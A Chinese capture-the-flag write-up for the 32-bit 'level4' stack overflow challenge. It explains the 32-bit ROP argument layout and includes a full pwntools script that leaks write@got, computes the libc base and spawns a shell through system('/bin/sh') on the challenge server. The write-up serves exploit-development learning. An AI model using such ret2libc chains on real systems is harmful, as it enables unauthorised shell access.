题目信息
题目提示ubuntu16,i386,开了NX,Partial RELRO

1.png (30.07 KB, 下载次数: 2)
下载附件
2023-8-2 11:56 上传

2.png (19.53 KB, 下载次数: 2)
下载附件
2023-8-2 11:56 上传
main函数中调用用了write函数

3.png (11.88 KB, 下载次数: 3)
下载附件
2023-8-2 11:56 上传
vuln函数显然可以溢出。

4.png (11.32 KB, 下载次数: 1)
下载附件
2023-8-2 11:56 上传
解题思路
利用write函数泄露libc_base,很好写wp
温故知新
写多了64位的payload对rdi,rsi,rdx,rcx,r8,r9这些都很熟悉了,函数的参数可谓是一个萝卜一个坑,之间换一换顺序也是可以的也写习惯了。
突然回到32位的栈溢出才发现以前写32位的wp的时候是借鉴的网上的答案,后来又是自己借鉴自己以前的答案,导致自己都没有思考过为什么是这个ROP顺序。
就拿本题中输出32位的为例
payload = b'a'*(0x88+4) + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
画一个此时的vuln函数栈

5.png (24.58 KB, 下载次数: 3)
下载附件
2023-8-2 11:56 上传

6.png (39.05 KB, 下载次数: 2)
下载附件
2023-8-2 11:56 上传
wp[Python] 纯文本查看 复制代码# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"
pc = "level4"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",26967)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = elf.sym['vulnerable_function']
payload = b'a'*(0x88+4) + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
sl(payload)
write_addr = u32(r.recvuntil(b'\xf7')[-4:])
lg('write_addr')
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
payload = b'a'*(0x88+4) + p32(system_addr) + p32(0) + p32(bin_sh)
sl(payload)
ti()